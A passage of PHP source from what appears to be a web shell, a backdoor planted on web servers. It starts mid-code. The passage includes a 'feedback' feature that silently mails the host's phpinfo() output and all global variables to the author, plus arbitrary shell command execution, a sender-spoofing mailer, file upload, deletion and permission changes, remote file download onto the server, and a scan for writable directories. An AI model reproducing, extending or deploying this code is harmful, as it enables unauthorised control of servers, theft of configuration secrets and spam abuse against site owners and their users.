E-mail: ".htmlspecialchars($fdbk_email)."
Message:
".htmlspecialchars($fdbk_body)."

IP: ".$REMOTE_ADDR;if(!empty($fdbk_ref)){$tmp=@ob_get_contents();ob_clean();phpinfo();$phpinfo=base64_encode(ob_get_contents());ob_clean();echo $tmp;$body.="
"."phpinfo(): ".$phpinfo."
"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."
";}mail($suppmail,sh_name()." feedback #".$ticket,$body,"FROM: ".$suppmail);echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";}else {bar_header(".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :."); ?>

<form name="f_feedback" action="<? echo $surl; ?>" method="post">
	<input type="hidden" name="act" value="feedback">
	<table class="contents">
		<tr><th>Your name:</th><td><input type="text" name="fdbk_name" value="<? echo htmlspecialchars(@$fdbk_name); ?>"></td</tr>
		<tr><th>Your e-mail:</th><td><input type="text" name="fdbk_email" value="<? echo htmlspecialchars(@$fdbk_email); ?>"></td></tr>
		<tr><th>Message:</th><td><textarea name="fdbk_body" cols=80 rows=10><? echo htmlspecialchars(@$fdbk_body); ?></textarea>
		<input type="hidden" name="fdbk_ref" value="<? echo urlencode($HTTP_REFERER); ?>"><br>
		<input type="checkbox" name="fdbk_servinf" value="1" checked> Attach Server info (Recommended for bug-fix)</td></tr>
		<tr><td></td><td><input type="submit" name="submit" value="Send"></td></tr>
	</table>
</form>
<? }}if($act=="fxmailer"){bar_header(".: Mailer :.");if(!empty($submit)){$headers='To: '.$dest_email."
";$headers.='From: '.$sender_name.' '.$sender_email."
";if(mail($dest_email,$sender_subj,$sender_body,$headers)){echo "<center><b>Email sent to $dest_email!</b></center>";}else {disp_error("Can't send email!");}}else { ?>
<form name="f_mailer" action="<? echo $surl; ?>" method="post">
	<input type="hidden" name="act" value="fxmailer">
	<table class="contents">
		<tr><th>Your name:</th><td><input type="text" name="sender_name" value="<? echo @htmlspecialchars($sender_name); ?>"></td></tr>
		<tr><th>Your e-mail:</th><td><input type="text" name="sender_email" value="<? echo @htmlspecialchars($sender_email); ?>"></td></tr>
		<tr><th>To:</th><td><input type="text" name="dest_email" value="<? @htmlspecialchars($dest_email); ?>"></td></tr>
		<tr><th>Subject:</th><td><input size="70" type="text" name="sender_subj" value="<? echo @htmlspecialchars($sender_subj); ?>"></td></tr>
		<tr><th>Message:</th><td><textarea name="sender_body" cols="80" rows="10"><? echo @htmlspecialchars($sender_body); ?></textarea></td></tr>
		<tr><th></th><td><input type="submit" name="submit" value="Send"></td></tr>
	</table>
</form>
<? }}if($act=="search"){bar_header(".: Filesystem Search :.");if(empty($search_in)){$search_in=$d;}if(empty($search_name)){$search_name="(.*)";$search_name_regexp=1 ;}if(empty($search_text_wwo)){$search_text_regexp=0 ;}if(!empty($submit)){$found=array();$found_d=0 ;$found_f=0 ;$search_i_f=0 ;$search_i_d=0 ;$a=array("name"=>@$search_name,"name_regexp"=>@$search_name_regexp,"text"=>@$search_text,"text_regexp"=>@$search_text_regxp,"text_wwo"=>@$search_text_wwo,"text_cs"=>@$search_text_cs,"text_not"=>@$search_text_not);$searchtime=getmicrotime();$in=array_unique(explode(";",$search_in));foreach($in as $v){fx29fsearch($v);}$searchtime=round(getmicrotime()-$searchtime,4 );if(count($found)==0 ){echo "No files found!";}else {$ls_arr=$found;$disp_fullpath=TRUE;$act="ls";}} ?>
<form name="f_search" method="post">
	<input type="hidden" name="d" value="<? echo $dispd; ?>">
	<input type="hidden" name="act" value="<? echo $dspact; ?>">
	<table class="contents">
		<tr><th>File or folder Name:</th><td><input type="text" name="search_name" size="<? echo round(strlen($search_name)+25 ); ?>" value="<? echo htmlspecialchars($search_name); ?>"> <input type="checkbox" name="search_name_regexp" value="1" <? echo (@$search_name_regexp==1 ?" checked":""); ?>> Regular Expression</td></tr>
		<tr><th>Look in (Separate by ";"):</th><td><input type="text" name="search_in" size="<? echo round(strlen($search_in)+25 ); ?>" value="<? echo htmlspecialchars($search_in); ?>"></td></tr>
		<tr><th>A word or phrase in the file:</th><td><textarea name="search_text" cols="50" rows="5"><? echo htmlspecialchars(@$search_text); ?></textarea></td></tr>
		<tr><th></th><td>
			<input type="checkbox" name="search_text_regexp" value="1" <? echo (@$search_text_regexp==1 ?" checked":""); ?>> Regular Expression
			<input type="checkbox" name="search_text_wwo" value="1" <? echo (@$search_text_wwo==1 ?" checked":""); ?>> Whole words only
			<input type="checkbox" name="search_text_cs" value="1" <? echo (@$search_text_cs==1 ?" checked":""); ?>> Case sensitive
			<input type="checkbox" name="search_text_not" value="1" <? echo (@$search_text_not==1 ?" checked":""); ?>> Find files NOT containing the text
		</td></tr>
		<tr><th></th><td><input type="submit" name="submit" value="Search"></td></tr>
	</table>
</form>
<? if($act=="ls"){$dspact=$act;echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4 )." objects per second).</b>
"."<hr size=\"1\" noshade>
";}}if($act=="chmod"){$mode=fileperms($d.$f);if(!$mode){echo "<b>Change file-mode with error:</b> can't get current value.";}else {$form=TRUE;if($chmod_submit){$octet="0".base_convert(($chmod_o["r"]?1 :0 ).($chmod_o["w"]?1 :0 ).($chmod_o["x"]?1 :0 ).($chmod_g["r"]?1 :0 ).($chmod_g["w"]?1 :0 ).($chmod_g["x"]?1 :0 ).($chmod_w["r"]?1 :0 ).($chmod_w["w"]?1 :0 ).($chmod_w["x"]?1 :0 ),2 ,8 );if(chmod($d.$f,$octet)){$act="ls";$form=FALSE;$err="";}else {$err="Can't chmod to ".$octet.".";}}if($form){$perms=parse_perms($mode);echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4 ,4 ).")</b>
"."<br>".($err?"<b>Error:</b> ".$err:"")."
"."<form name=\"f_chmod\" action=\"".$surl."\" method=\"post\">
"."<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
"."<input type=hidden name=f value=\"".htmlspecialchars($f)."\">
"."<input type=hidden name=act value=chmod>
"."<table><tr>
"."<td><b>Owner</b><br><br>
"."<input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br>
"."<input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br>
"."<input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"")."> eXecute</td>
"."<td><b>Group</b><br><br>
"."<input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br>
"."<input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br>
"."<input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"")."> eXecute</td>
"."<td><b>World</b><br><br>
"."<input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br>
"."<input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br>
"."<input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"")."> eXecute</td>
"."</tr>
"."<tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr>
"."</table>
"."</form>
";}}}if($act=="upload"){$uploadmess="";$uploadpath=(isset($uploadpath))?str_replace("\",DIRECTORY_SEPARATOR,$uploadpath):$d;if(substr($uploadpath,-1 )!=DIRECTORY_SEPARATOR){$uploadpath.=DIRECTORY_SEPARATOR;}if(!empty($submit)){$uploadfile=$_FILES["uploadfile"];if(!empty($uploadfile["tmp_name"])){if(empty($uploadfilename)){$destin=$uploadfile["name"];}else {$destin=$userfilename;}if(!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)){$uploadmess.="<div class=errmsg>Error uploading file ".$uploadfile["name"]." (Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!</div>";}else {$uploadmess.="File uploaded successfully!<br>".$uploadpath.$destin;}}else {$uploadmess.="<div class=errmsg>No file to upload!</div>";}}echo $uploadmess;$act="ls";}if($act=="delete"){$delerr="";foreach($actbox as $v){$result=FALSE;$result=fs_rmobj($v);if(!$result){$delerr.="Can't delete ".htmlspecialchars($v)."<br>";}}if(!empty($delerr)){disp_error("Error deleting:<br>$delerr");}$act="ls";}if($act=="copy"){$err="";$sess_data["copy"]=array_merge($sess_data["copy"],$actbox);fx29_sess_put($sess_data);$act="ls";}elseif($act=="cut"){$sess_data["cut"]=array_merge($sess_data["cut"],$actbox);fx29_sess_put($sess_data);$act="ls";}elseif($act=="unselect"){foreach($sess_data["copy"] as $k=>$v){if(in_array($v,$actbox)){unset($sess_data["copy"][$k]);}}foreach($sess_data["cut"] as $k=>$v){if(in_array($v,$actbox)){unset($sess_data["cut"][$k]);}}fx29_sess_put($sess_data);$act="ls";}if(@$actemptybuff){$sess_data["copy"]=$sess_data["cut"]=array();fx29_sess_put($sess_data);}elseif(@$actpastebuff){$psterr="";foreach($sess_data["copy"] as $k=>$v){$to=$d.basename($v);if(!fs_copy_obj($v,$to)){$psterr.="Can't copy ".$v." to ".$to."!<br>";}if($copy_unset){unset($sess_data["copy"][$k]);}}foreach($sess_data["cut"] as $k=>$v){$to=$d.basename($v);if(!fs_move_obj($v,$to)){$psterr.="Can't move ".$v." to ".$to."!<br>";}unset($sess_data["cut"][$k]);}fx29_sess_put($sess_data);if(!empty($psterr)){disp_error("Pasting with errors:<br>$psterr");}$act="ls";}elseif(@$actarcbuff){$arcerr="";if(substr($actarcbuff_path,-7 ,7 )==".tar.gz"){$ext=".tar.gz";}else {$ext=".tar.gz";}if($ext==".tar.gz"){$cmdline="tar cfzv";}$cmdline.=" ".$actarcbuff_path;$objects=array_merge($sess_data["copy"],$sess_data["cut"]);foreach($objects as $v){$v=str_replace("\",DIRECTORY_SEPARATOR,$v);if(substr($v,0 ,strlen($d))==$d){$v=basename($v);}if(is_dir($v)){if(substr($v,-1 )!=DIRECTORY_SEPARATOR){$v.=DIRECTORY_SEPARATOR;}$v.="*";}$cmdline.=" ".$v;}$tmp=realpath(".");chdir($d);$ret=fx29exec($cmdline);chdir($tmp);if(empty($ret)){$arcerr.="Can't call archivator (".htmlspecialchars(str2mini($cmdline,60 )).")!<br>";}$ret=str_replace("
","
",$ret);$ret=explode("
",$ret);if($copy_unset){foreach($sess_data["copy"] as $k=>$v){unset($sess_data["copy"][$k]);}}foreach($sess_data["cut"] as $k=>$v){if(in_array($v,$ret)){fs_rmobj($v);}unset($sess_data["cut"][$k]);}fx29_sess_put($sess_data);if(!empty($arcerr)){disp_error("Archivation errors:<br>$arcerr");}$act="ls";}if($act=="cmd"){@chdir($chdir);if(!empty($submit)){bar_header(".: Command Output :.");$olddir=realpath(".");@chdir($d);$ret=fx29exec($cmd);$ret=convert_cyr_string($ret,"d","w");if($cmd_txt){$rows=count(explode("
",$ret))+1 ;if($rows<10 ){$rows=10 ;}else {$rows=30 ;}$cols=125 ;echo "<textarea class=\"shell\" cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>
";}else {echo $ret."<br>";}@chdir($olddir);}}if($act=="phpfsys"){echo "<div align=left>";$fsfunc=$phpfsysfunc;if($fsfunc=="copy"){if(!copy($arg1,$arg2)){echo "Failed to copy $arg1...
";}else {echo "<b>Success!</b> $arg1 copied to $arg2
";}}elseif($fsfunc=="rename"){if(!rename($arg1,$arg2)){echo "Failed to rename/move $arg1!
";}else {echo "<b>Success!</b> $arg1 renamed/moved to $arg2
";}}elseif($fsfunc=="chmod"){if(!chmod($arg1,$arg2)){echo "Failed to chmod $arg1!
";}else {echo "<b>Perm for $arg1 changed to $arg2!</b>
";}}elseif($fsfunc=="read"){$darg=$d.$arg1;if($hasil=@file_get_contents($darg)){echo "<b>Filename:</b> ".$darg."<br>";echo "<center><textarea cols=125 rows=30>";echo htmlentities($hasil);echo "</textarea></center>
";}else {disp_error("Couldn't open $darg");}}elseif($fsfunc=="write"){$darg=$d.$arg1;if(@file_put_contents($darg,$arg2)){echo "<b>Saved!</b> ".$darg;}else {disp_error("Can't write to $darg!");}}elseif($fsfunc=="downloadbin"){$handle=fopen($arg1,"rb");$contents='';while(!feof($handle)){$contents.=fread($handle,8192 );}$r=@fopen($d.$arg2,'w');if(fwrite($r,$contents)){echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")";}else {disp_error("Can't write to ".$d.$arg2."!");}fclose($r);fclose($handle);}elseif($fsfunc=="download"){$text=implode('',file($arg1));if($text){$r=@fopen($d.$arg2,'w');if(fwrite($r,$text)){echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")";}else {disp_error("Can't write to ".$d.$arg2."!");}fclose($r);}else {disp_error("Can't download from $arg1!");}}elseif($fsfunc=='mkdir'){$thedir=$d.$arg1;if($thedir!=$d){if(file_exists($thedir)){echo "<b>Already exists:</b> ".htmlspecialchars($thedir);}elseif(!mkdir($thedir)){echo "<b>Access denied:</b> ".htmlspecialchars($thedir);}else {echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}}else {echo "Can't create current dir:<b> $thedir</b>";}}elseif($fsfunc=='fwritabledir'){function recurse_dir($dir,$max_dir){global $dir_count;$dir_count++;if($cdir=dir($dir)){while($entry=$cdir->read()){if($entry!='.' && $entry!='..'){if(is_dir($dir.$entry) && is_writable($dir.$entry)){if($dir_count>$max_dir){return ;}echo "[".$dir_count."] ".$dir.$entry."
";recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);}}}$cdir->close();}}if(!$arg1){$arg1=$d;}if(!$arg2){$arg2=10 ;}if(is_dir($arg1)){echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";echo "<pre>";recurse_dir($arg1,$arg2);echo "</pre>";$total=$dir_count-1 ;echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";}else {disp_error("Directory is not exists or permission denied!");}}else {if(!$arg1){disp_error("No operation! Please fill 1st parameter!");}else {if($hasil=$fsfunc($arg1)){echo "<b>Result of $fsfunc $arg1:</b><br>";if(!is_array($hasil)){echo "$hasil
";}else {echo "<pre>";foreach($hasil as $v){echo $v."
";}echo "</pre>";}}else {disp_error("$fsfunc $arg1 failed!");}}}echo "</div>
";}if($act=="ls"){if(count($ls_arr)>0 ){$list=$ls_arr;}else {$list=array();if($h=@opendir($d)){while(($o=readdir($h))!==FALSE){$list[]=$d.$o;}closedir($h);}}if(count($list)==0 ){disp_error("No such directory or access denied!<br>".htmlspecialchars($d));}else {$objects=array();$vd="f";if($vd=="f"){$objects["head"]=array();$objects["folders"]=array();$objects["links"]=array();$objects["files"]=array();foreach($list as $v){$o=basename($v);$row=array();if($o=="."){$row[]=$d.$o;$row[]="CURDIR";}elseif($o==".."){$row[]=$d.$o;$row[]="DIR";}elseif(is_dir($v)){if(is_link($v)){$type="LINK";}else {$type="DIR";}$row[]=$v;$row[]=$type;}elseif(is_file($v)){$row[]=$v;$row[]=filesize($v);}$row[]=filemtime($v);if(!is_windows()){$ow=posix_getpwuid(fileowner($v));$gr=posix_getgrgid(filegroup($v));$row[]=($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));}$row[]=fileperms($v);if(($o==".") or ($o=="..")){$objects["head"][]=$row;}elseif(is_link($v)){$objects["links"][]=$row;}elseif(is_dir($v)){$objects["folders"][]=$row;}elseif(is_file($v)){$objects["files"][]=$row;}$i++;}$row=array();$row[]="<b>Name</b>";$row[]="<b>Size</b>";$row[]="<b>Date Modified</b>";if(!is_windows()){$row[]="<b>Owner/Group</b>";}$row[]="<b>Perms</b>";$row[]="<b>Action</b>";$parsesort=parsesort($sort);$sort=$parsesort[0 ].$parsesort[1 ];$k=$parsesort[0 ];if($parsesort[1 ]!="a"){$parsesort[1 ]="d";}$y=" <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1 ]=="a"?"d":"a")."\">";$y.="<img src=\"".$surl."act=img&img=sort_".($sort[1 ]=="a"?"asc":"desc")."\" alt=\"".($parsesort[1 ]=="a"?"Asc":"Desc")."\"></a>";$row[$k].=$y;for($i=0 ;$i<count($row)-1 ;$i++){if($i!=$k){$row[$i]="<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1 ]."\">".$row[$i]."</a>";}}$v=$parsesort[0 ];usort($objects["folders"],"tabsort");usort($objects["links"],"tabsort");usort($objects["files"],"tabsort");if($parsesort[1 ]=="d"){$objects["folders"]=array_reverse($objects["folders"]);$objects["files"]=array_reverse($objects["files"]);}$objects=array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);$tab=array();$tab["cols"]=array($row);$tab["head"]=array();$tab["folders"]=array();$tab["links"]=array();$tab["files"]=array();$i=0 ;foreach($objects as $a){$v=$a[0 ];$o=basename($v);$dir=dirname($v);if($disp_fullpath){$disppath=$v;}else {$disppath=$o;}$disppath=str2mini($disppath,60 );if(in_array($v,$sess_data["cut"])){$disppath="<strike>".$disppath."</strike>";}elseif(in_array($v,$sess_data["copy"])){$disppath="<u>".$disppath."</u>";}foreach($regxp_highlight as $r){if(ereg($r[0 ],strtolower($o))){if((!is_numeric($r[1 ])) or ($r[1 ]>3 )){$r[1 ]=0 ;@ob_clean();disp_error("Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command.");fx29shexit();}else {$r[1 ]=round($r[1 ]);$isdir=is_dir($v);if(($r[1 ]==0 ) or (($r[1 ]==1 ) and !$isdir) or (($r[1 ]==2 ) and !$isdir)){if(empty($r[2 ])){$r[2 ]="<b>";$r[3 ]="</b>";}$disppath=$r[2 ].$disppath.$r[3 ];if(isset($r[4 ])){break;}}}}}$uo=urlencode($o);$ud=urlencode($dir);$uv=urlencode($v);$row=array();if($o=="."){$row[]="<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" alt=\"\"> ".$o."</a>";$row[]="CURDIR";}elseif($o==".."){$row[]="<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" alt=\"\"> ".$o."</a>";$row[]="UPDIR";}elseif(is_dir($v)){if(is_link($v)){$disppath.=" => ".readlink($v);$type="LNK";$row[]="<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" alt=\"\"> [".$disppath."]</a>";}else {$type="DIR";$row[]="<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" alt=\"\"> [".$disppath."]</a>";}$row[]=$type;}elseif(is_file($v)){$ext=explode(".",$o);$c=count($ext)-1 ;$ext=$ext[$c];$ext=strtolower($ext);$row[]="<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" alt=\"\"> ".$disppath."</a>";$row[]=view_size($a[1 ]);}$row[]=@date("d.m.Y H:i:s",$a[2 ]);if(!is_windows()){$row[]=$a[3 ];}$row[]="<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";if($o=="."){$checkbox="<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">";$i--;}else {$checkbox="<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}if(is_dir($v)){$row[]="$checkbox <a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\"></a> ";}else {$row[]="$checkbox "."<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\"></a> "."<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\"></a> "."<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\"></a>";}if(($o==".") or ($o=="..")){$tab["head"][]=$row;}elseif(is_link($v)){$tab["links"][]=$row;}elseif(is_dir($v)){$tab["folders"][]=$row;}elseif(is_file($v)){$tab["files"][]=$row;}$i++;}}echo "<div class=barheader>.: ";if(!empty($fx_infohead)){echo $fx_infohead;}else {echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)";}echo " :.</div>

";echo "<form name=\"ls_form\" action=\"$surl\" method=\"post\">
"."<input type=hidden name=act value=\"$dspact\">
"."<input type=hidden name=d value=\"$d\">
"; ?>
<table class="explorer">
<? $table=array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);foreach($table as $row){echo "	<tr>";foreach($row as $v){echo "<td>".$v."</td>";}echo "</tr>
";} ?>
</table>

<div align="right">

	<script language="javascript">
	function ls_setcheckboxall(status) {
	  var id = 1; var num = <? echo (count($table)-2 ); ?>;
	  while (id <= num) {
	    document.getElementById('actbox'+id).checked = status; id++;
	  }
	}
	function ls_reverse_all() {
	  var id = 1; var num = <? echo (count($table)-2 ); ?>;
	  while (id <= num) {
	    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++;
	  }
	}
	</script>

	<input type="button" onclick="ls_setcheckboxall(true);" value="Check all">
	<input type="button" onclick="ls_setcheckboxall(false);" value="Uncheck all">
<? if(count(array_merge($sess_data["copy"],$sess_data["cut"]))>0 ){echo "	<input type=\"submit\" name=\"actarcbuff\" value=\"Archive it!\">"."	<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1 ,1000 ).rand(1 ,1000 )),0 ,5 ).".tar.gz\">
"."	<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">
"."	<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">";}echo "
	"."<select name=act>
"."		<option value=\"".$act."\">With checked:</option>
";$f_acts=array("delete","chmod","cut","copy","unselect");foreach($f_acts as $f1){echo "		<option value=\"$f1\"".($dspact=="$f1"?" selected":"").">$f1</option>
";} ?>
	</select>

	<input type="submit" value="Confirm">

</div>
</form>
<? }}if($act=="f"){echo "<div align=left>";if(!isset($ft)){$ft="";}if(!isset($newwin)){$newwin="";}if((!is_readable($d.$f) or is_dir($d.$f)) and $ft!="edit"){if(file_exists($d.$f)){disp_error("Access denied!<br>".htmlspecialchars($d.$f));}else {disp_error("File doesn't exists: ".htmlspecialchars($d.$f)."<br>
"."<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a>");}}else {$r=@file_get_contents($d.$f);$ext=explode(".",$f);$c=count($ext)-1 ;$ext=$ext[$c];$ext=strtolower($ext);$rft="";foreach($ftypes as $k=>$v){if(in_array($ext,$v)){$rft=$k;break;}}if(eregi("sess_(.*)",$f)){$rft="phpsess";}if(empty($ft)){$ft=$rft;}$arr=array(array("<img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\">","info"),array("<img src=\"".$surl."act=img&img=ext_html\" alt=\"html\">","html"),array("<img src=\"".$surl."act=img&img=ext_txt\" alt=\"txt\">","txt"),array("<img src=\"".$surl."act=img&img=ext_ini\" alt=\"ini\">","ini"),array("Code","code"),array("Session","phpsess"),array("SDB","sdb"),array("<img src=\"".$surl."act=img&img=ext_exe\" alt=\"exe\">","exe"),array("<img src=\"".$surl."act=img&img=ext_gif\" alt=\"img\">","img"),array("<img src=\"".$surl."act=img&img=ext_rtf\" alt=\"Notepad\">","notepad"),array("<img src=\"".$surl."act=img&img=change\" alt=\"Edit\">","edit"),array("<img src=\"".$surl."act=img&img=download\" alt=\"Download\">","download"));echo "<div class=barheader>.: File Viewer [".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."] :.
";echo "<hr size=1 noshade>
";foreach($arr as $t){if($t[1 ]==$rft){echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1 ]."&d=".urlencode($d)."\"><font color=#3366FF>".$t[0 ]."</font></a>";}elseif($t[1 ]==$ft){echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1 ]."&d=".urlencode($d)."\"><b><u>".$t[0 ]."</u></b></a>";}else {echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1 ]."&d=".urlencode($d)."\"><b>".$t[0 ]."</b></a>";}echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1 ]."&d=".urlencode($d)."&newwin=1\" title=\"New Window\" target=\"_blank\">+</a>) ";}echo "</div>
";if($ft=="info"){echo "<br>";bar_header("Information");echo "<table class=contents>
"."<tr><th>Path</th><td>".$d.$f."</td></tr>
"."<tr><th>Size</th><td>".view_size(filesize($d.$f))."</td></tr>
"."<tr><th>MD5</th><td>".md5_file($d.$f)."</td></tr>
";if(!is_windows()){echo "<tr><th><b>Owner/Group</b></td><td>";$ow=posix_getpwuid(fileowner($d.$f));$gr=posix_getgrgid(filegroup($d.$f));echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));}echo "<tr><th>Perms</th><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr>
"."<tr><th>Create time</th><td>".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr>
"."<tr><th>Access time</th><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr>
"."<tr><th>Modify time</th><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr>
";echo "<tr><th>HexDump</th><td>
"."[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a> ] "."[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a> ]<br>
"."</td></tr>
"."<tr><th>Base64</th><td>
"."[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a> ] "."[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a> ] "."[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a> ] "."[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a> ] "."</td></tr>
"."</table><br>
";$fi=fopen($d.$f,"rb");if($fi){echo "<div class=barheader>";if(@$fullhexdump){echo "Full HexDump";$str=fread($fi,filesize($d.$f));}else {echo "HexDump Preview";$str=fread($fi,$hexdump_lines*$hexdump_rows);}$n=0 ;$a0="00000000<br>";$a1="";$a2="";for($i=0 ;$i<strlen($str);$i++){$a1.=sprintf("%02X",ord($str[$i]))." ";switch(ord($str[$i])){case 0 :$a2.="<font>0</font>";break;case 32 :case 10 :case 13 :$a2.=" ";break;default:$a2.=htmlspecialchars($str[$i]);}$n++;if($n==$hexdump_rows){$n=0 ;if($i+1 <strlen($str)){$a0.=sprintf("%08X",$i+1 )."<br>";}$a1.="<br>";$a2.="<br>";}}echo "</div>
";echo "<table class=code><tr><td>".$a0."</td><td>".$a1."</td><td>".$a2."</td></tr></table><br>
";}$henc="";$encoded="";if(!isset($base64)){$base64="";}if($base64==1 ){$henc="Base64 Encode";$encoded=base64_encode(file_get_contents($d.$f));}elseif($base64==2 ){$henc="Base64 Encode + Chunk";$encoded=chunk_split(base64_encode(file_get_contents($d.$f)));}elseif($base64==3 ){$henc="Base64 Encode + Chunk + Quotes";$encoded=base64_encode(file_get_contents($d.$f));$encoded=substr(preg_replace("!.{1,76}!","''.
",$encoded),0 ,-2 );}elseif($base64==4 ){$text=file_get_contents($d.$f);$encoded=base64_decode($text);$henc="<b>Base64 Decode";if(base64_encode($encoded)!=$text){$henc.=" (Failed!)";}}if(!empty($encoded)){bar_header($henc);echo "<textarea cols=100 rows=10>".htmlspecialchars($encoded)."</textarea>";echo "<br>
";}}elseif($ft=="html"){if($newwin){@ob_clean();echo $r;fx29shexit();}else {echo $r;}}elseif($ft=="txt"){echo "<center><textarea cols=\"125\" rows=\"20\">".htmlspecialchars($r)."</textarea></center>";}elseif($ft=="ini"){echo "<pre>";var_dump(parse_ini_file($d.$f,TRUE));echo "</pre>";}elseif($ft=="phpsess"){echo "<pre>";$v=explode("|",$r);echo $v[0 ]."<br>";var_dump(unserialize($v[1 ]));echo "</pre>";}elseif($ft=="exe"){$ext=explode(".",$f);$c=count($ext)-1 ;$ext=$ext[$c];$ext=strtolower($ext);$rft="";foreach($exeftypes as $k=>$v){if(in_array($ext,$v)){$rft=$k;break;}}$cmd=str_replace("%f%",$f,$rft);echo "<b>Execute file:</b>
"."<form name=\"f_xfile\" action=\"".$surl."\" method=\"post\">
"."<input type=hidden name=act value=cmd>
"."<input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br>
"."<input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2 )."\"> 
"."<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked> - Display in text-area
"."<input type=submit name=submit value=\"Execute\"></form>
";}elseif($ft=="sdb"){echo "<pre>";var_dump(unserialize(base64_decode($r)));echo "</pre>
";}elseif($ft=="code"){echo "<div class=code style=\"background-color: ".$highlight_bg."\">
";if(@$newwin){@ob_clean();highlight_file($d.$f);fx29shexit();}else {highlight_file($d.$f);}echo "
</div>
